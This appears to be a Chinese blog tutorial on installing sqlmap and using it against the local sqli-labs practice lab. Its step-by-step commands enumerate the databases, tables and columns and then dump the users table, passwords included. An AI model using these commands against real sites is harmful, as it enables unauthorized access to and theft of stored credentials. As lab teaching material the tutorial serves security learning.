sqlmap的安装及利用sqlmap进行SQL注入

一、sqlmap的安装

由于SQLMap是利用Python语言写的,文章只记录安排sqlmap的安装过程,还未安装Python这个语言环境的同学,点击这里!!!

sqlmap的下载

下载地址: https://www.cnblogs.com/lvtaohome/p/11121377.html

点击下载蓝色的zip file

安装过程

将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到自己的python目录下,例如图下 “D:\python3.8\sqlmap”
在这里插入图片描述
然后打开cmd命令提示符的文件所在位置,右键发送到桌面快捷方式
在这里插入图片描述
接着在桌面即可看到一个快捷方式,重命名为sqlmap,右键点击属性修改起始位置
在这里插入图片描述
起始位置即为sqlmap.py 的所在位置
在这里插入图片描述
确定修改好之后,点击桌面快捷方式并输入sqlmap.py -h敲回车,出现如下信息则表示安装成功。
在这里插入图片描述

二、利用sqlmap进行SQL注入

首先选择好需要进行爆破的网址,例如爆破如下网址
在这里插入图片描述
打开sqlmap,输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1。
在这里插入图片描述
出现如图所示情况即为可注入,一直选择Y即可。

然后接着输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --dbs,显示当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。即爆出所有数据库。
在这里插入图片描述
选择你所要爆数据的数据库,爆出其所有表,输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security --tables
在这里插入图片描述
选择你所需表,输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users --columns,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。
在这里插入图片描述
接着直接输入sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --dump -D security -T users -C ‘id password username’,即可得出所有数据。
在这里插入图片描述
关于sqlmap的详细使用教程,这有链接!!!点这,直接进入学习

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值